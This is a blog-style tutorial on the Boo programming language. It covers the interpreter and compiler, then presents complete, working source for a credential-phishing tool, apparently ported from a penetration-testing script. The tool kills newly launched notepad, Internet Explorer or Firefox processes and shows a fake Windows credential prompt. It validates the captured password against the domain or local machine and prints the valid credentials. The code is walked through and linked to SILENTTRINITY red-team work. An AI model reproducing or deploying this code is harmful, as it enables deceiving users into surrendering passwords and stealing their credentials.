Installing Boo is pretty easy but on Windows you will need at least .NET Framework 4.0. On Linux and Mac, if you’re running Mono you will be OK.
booish.exe is an interpreter like others.
$ booish
Welcome to booish, an interactive interpreter for the
boo programming language.
Running boo 0.9.7.0 on 5.16.0.220
(tarball Wed Jan 2 21:11:29 UTC 2019).
Enter boo code in the prompt below (or type /help).
>>> print "Hola, mundo"
Hola, mundo
>>>
In order yo test our code before compiling we can use booi
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\IEUser\Projects\Boo> booi.exe
Usage: booi [options] <script|-> [-- [script options]]
Options:
-cache[+-] Generate compilation cache files (.booc) (default: -)
-debug[+-] Generate debugging information (default: +)
-d -define:symbol Defines a symbols with optional values (=val)
-ducky[+-] Turns on duck typing by default
-h -help[+-] Display this help and exit
-l -lib:directory Adds a directory to the list of assembly search paths
-o -output:output Save generated assembly in the given file name (copying dependencies next to it)
-p -packages:directory Adds a packages directory for assemblies to load
-r -reference:assembly References assembly
-runner:executable Runs an executable file passing the generated assembly
-strict[+-] Turns on strict mode
-v -verbose[+-] Generate verbose information (default: -)
-version[+-] Display program version
-w -warnings[+-] Report warnings (default: -)
-wsa[+-] Enables white-space-agnostic build
PS C:\Users\IEUser\Projects\Boo>
Let’s test this:
$ echo "print 'Hola, mundo'" > test.boo
$ booi test.boo
Hola, mundo
Really easy, right?!
booc will help us on this.
PS C:\Users\IEUser\Projects\Boo> booc.exe -h
Usage: booc [options] file1 ...
Options:
-c:CULTURE Sets the UI culture to be CULTURE
-checked[+|-] Turns on or off checked operations (default: +)
-debug[+|-] Generate debugging information (default: +)
-define:S1[,Sn] Defines symbols S1..Sn with optional values (=val) (-d:)
-delaysign Delays assembly signing
-ducky Turns on duck typing by default
-embedres:FILE[,ID] Embeds FILE with the optional ID
-i:ICON Sets the generated assembly's icon to the specified file
-keycontainer:NAME The key pair container used to strongname the assembly
-keyfile:FILE The strongname key file used to strongname the assembly
-lib:DIRS Adds the comma-separated DIRS to the assembly search path
-noconfig Does not load the standard configuration
-nologo Does not display the compiler logo
-nostdlib Does not reference any of the default libraries
-nowarn[:W1,Wn] Suppress all or a list of compiler warnings
-o:FILE Sets the output file name to FILE
-p:PIPELINE Sets the pipeline to PIPELINE
-pkg:P1[,Pn] References packages P1..Pn (on supported platforms)
-platform:ARCH Specifies target platform (anycpu, x86, x64 or itanium)
-reference:A1[,An] References assemblies (-r:)
-resource:FILE[,ID] Embeds FILE as a resource
-srcdir:DIR Adds DIR as a directory where sources can be found
-strict Turns on strict mode.
-target:TYPE Sets the target type (exe, library or winexe) (-t:)
-unsafe Allows to compile unsafe code.
-utf8 Source file(s) are in utf8 format
-v, -vv, -vvv Sets verbosity level from warnings to very detailed
-warn:W1[,Wn] Enables a list of optional warnings.
-warnaserror[:W1,Wn] Treats all or a list of warnings as errors
-wsa Enables white-space-agnostic build
Boo Compiler version 0.9.7.0 (CLR 4.0.30319.42000)
Fatal error: No inputs specified.
PS C:\Users\IEUser\Projects\Boo>
Example:
$ booc test.boo
Boo Compiler version 0.9.7.0 (5.16.0.220 (tarball Wed Jan 2 21:11:29 UTC 2019))
$ ls
test.boo
test.exe
Good. Let’s run it!
PS C:\Users\IEUser\Projects\Boo> .\test.exe
Hola, mundo
PS C:\Users\IEUser\Projects\Boo>
The .exe
is a .NET Assembly so you will net .NET framework. What are .NET Assemblies? An assembly is the actual .dll file on your hard drive where the classes in the .NET Framework are stored. For example, all the classes contained in the ASP.NET Framework are located in an assembly named System.Web.dll
.
Because Boo is powered by .NET, we can make used of most of the .NET classes… so…
/*
* Inspired by ProcessCredPhish.py, an IronPython version by Leron Gray (@daddycocoaman)
* https://github.com/daddycocoaman/IronPentest/blob/master/Credentials/ProcessCredPhish.py
*
* This version is written using Boolang importing CredUIPromptForCredentials from credui.dll
*/
import System
import System.Runtime.InteropServices
import System.Management from System.Management
import System.Text
import System.Diagnostics
import System.Globalization
from System.DirectoryServices.AccountManagement import PrincipalContext, ContextType
enum CredUIReturnCodes:
NO_ERROR = 0
ERROR_CANCELLED = 1223
ERROR_NO_SUCH_LOGON_SESSION = 1312
ERROR_NOT_FOUND = 1168
ERROR_INVALID_ACCOUNT_NAME = 1315
ERROR_INSUFFICIENT_BUFFER = 122
ERROR_INVALID_PARAMETER = 87
ERROR_INVALID_FLAGS = 1004
enum CREDUI_FLAGS:
INCORRECT_PASSWORD = 0x1
DO_NOT_PERSIST = 0x2
REQUEST_ADMINISTRATOR = 0x4
EXCLUDE_CERTIFICATES = 0x8
REQUIRE_CERTIFICATE = 0x10
SHOW_SAVE_CHECK_BOX = 0x40
ALWAYS_SHOW_UI = 0x80
REQUIRE_SMARTCARD = 0x100
PASSWORD_ONLY_OK = 0x200
VALIDATE_USERNAME = 0x400
COMPLETE_USERNAME = 0x800
PERSIST = 0x1000
SERVER_CREDENTIAL = 0x4000
EXPECT_CONFIRMATION = 0x20000
GENERIC_CREDENTIALS = 0x40000
USERNAME_TARGET_CREDENTIALS = 0x80000
KEEP_USERNAME = 0x100000
[DllImport("credui.dll")]
def CredUIPromptForCredentials(creditUR as CREDUI_INFO,
targetName as string,
reserved1 as IntPtr,
iError as int,
userName as StringBuilder,
maxUserName as int,
password as StringBuilder,
maxPassword as int,
pfSave as bool,
flags as CREDUI_FLAGS) as CredUIReturnCodes:
pass
struct CREDUI_INFO:
public cbSize as int
public hbmBanner as IntPtr
public hwndParent as IntPtr
public pszCaptionText as string
public pszMessageText as string
def PromptForPassword(user as string, process as string) as string:
userPassword as StringBuilder = StringBuilder()
userID as StringBuilder = StringBuilder(user)
credUI as CREDUI_INFO = CREDUI_INFO()
credUI.cbSize = Marshal.SizeOf(credUI)
save as bool = false
flags as CREDUI_FLAGS = CREDUI_FLAGS.ALWAYS_SHOW_UI | CREDUI_FLAGS.GENERIC_CREDENTIALS
CredUIPromptForCredentials(credUI, process, IntPtr.Zero, 0, userID, 100, userPassword, 100, save, flags)
return userPassword.ToString()
[STAThread]
def Main(argv as (string)):
_validatingPassword = false
validPassword as string
processes_to_watch as List = ['notepad.exe', 'iexplorer.exe', 'firefox.exe',]
currentUser as string = System.Security.Principal.WindowsIdentity.GetCurrent().Name
startWatch as ManagementEventWatcher = ManagementEventWatcher(WqlEventQuery('__InstanceCreationEvent',
TimeSpan(0,0,1),
'TargetInstance isa "Win32_Process"'))
startWatch.Start()
print "[*] WATCHER STARTED"
while true:
if _validatingPassword:
continue
print "[*] WAITING FOR THE NEXT EVENT..."
process as ManagementBaseObject = startWatch.WaitForNextEvent()
print "[*] EVENT CAPTURED!"
instance = process['TargetInstance'] as ManagementBaseObject
name as string = instance['Name']
id = instance['ProcessId']
if name in processes_to_watch:
_validatingPassword = true
print "[*] PROCESS SPAWNED: $(name)[$(id)]"
Process.GetProcessById(id).Kill()
clearName = CultureInfo.CurrentCulture.TextInfo.ToTitleCase(name.Replace('.exe',''))
try:
passwordAttempt as string = PromptForPassword(currentUser, clearName)
if passwordAttempt:
print "[*] VALIDATING PASSWORD: $(passwordAttempt)"
context as PrincipalContext
try:
context = PrincipalContext(ContextType.Domain)
except e as System.DirectoryServices.AccountManagement.PrincipalServerDownException:
context = PrincipalContext(ContextType.Machine)
validCredentials as bool = context.ValidateCredentials(currentUser, passwordAttempt)
if validCredentials:
validPassword = passwordAttempt
startWatch.Stop()
break
else:
print "[-] INVALID PASSWORD: $(passwordAttempt)"
else:
print "[-] EMPTY PASSWORD"
except:
pass
ensure:
_validatingPassword = false
if not instance['Name'] in processes_to_watch:
print "[-] IGNORING PROCESS: $(name)"
break unless not validPassword
print "\n[+] VALID CREDENTIALS FOUND: $(currentUser):$(validPassword)\n"
print "[*] BYE!"
Let’s try to explain the code… First we need to import what we need:
import System
import System.Runtime.InteropServices
import System.Management from System.Management
import System.Text
import System.Diagnostics
import System.Globalization
from System.DirectoryServices.AccountManagement import PrincipalContext, ContextType
Since we’re going to use credui.dll
we need to import the method from the dll, yes we can do it with Boo!
[DllImport("credui.dll")]
def CredUIPromptForCredentials(creditUR as CREDUI_INFO,
targetName as string,
reserved1 as IntPtr,
iError as int,
userName as StringBuilder,
maxUserName as int,
password as StringBuilder,
maxPassword as int,
pfSave as bool,
flags as CREDUI_FLAGS) as CredUIReturnCodes:
pass
I like to define an entry point as usual (C#
):
[STAThread]
def Main(argv as (string)):
We need to catch everytime when the user run a process, for this we’re going to use ManagementEventWatcher
and WqlEventQuery
to do the query:
processes_to_watch as List = ['notepad.exe', 'iexplorer.exe', 'firefox.exe',]
currentUser as string = System.Security.Principal.WindowsIdentity.GetCurrent().Name
startWatch as ManagementEventWatcher =
ManagementEventWatcher(WqlEventQuery('__InstanceCreationEvent',
TimeSpan(0,0,1),
'TargetInstance isa "Win32_Process"'))
startWatch.Start()
Now, with AccountManagement
we can validate the credentials.
context as PrincipalContext
try:
context = PrincipalContext(ContextType.Domain)
except e as System.DirectoryServices.AccountManagement.PrincipalServerDownException:
context = PrincipalContext(ContextType.Machine)
validCredentials as bool = context.ValidateCredentials(currentUser, passwordAttempt)
Done! Let’s try it!
I really liked Boo, I’m aware that the development is not currently active, but I think there are some people trying to take re-activate. I like the syntax, it’s between C# and Python. My recomendation is to read the Wiki. Also I’m inviting to everybody to give a try to Boo, you won’t regret it. I’m currently trying to create some modules for (SILENTTRINITY](https://www.youtube.com/watch?v=bFgINiak2L0) in Boo.
Since the assembly is a .NET assembly we can import it in any .NET project. Also you can use ILMerge to merge the extra DLLs.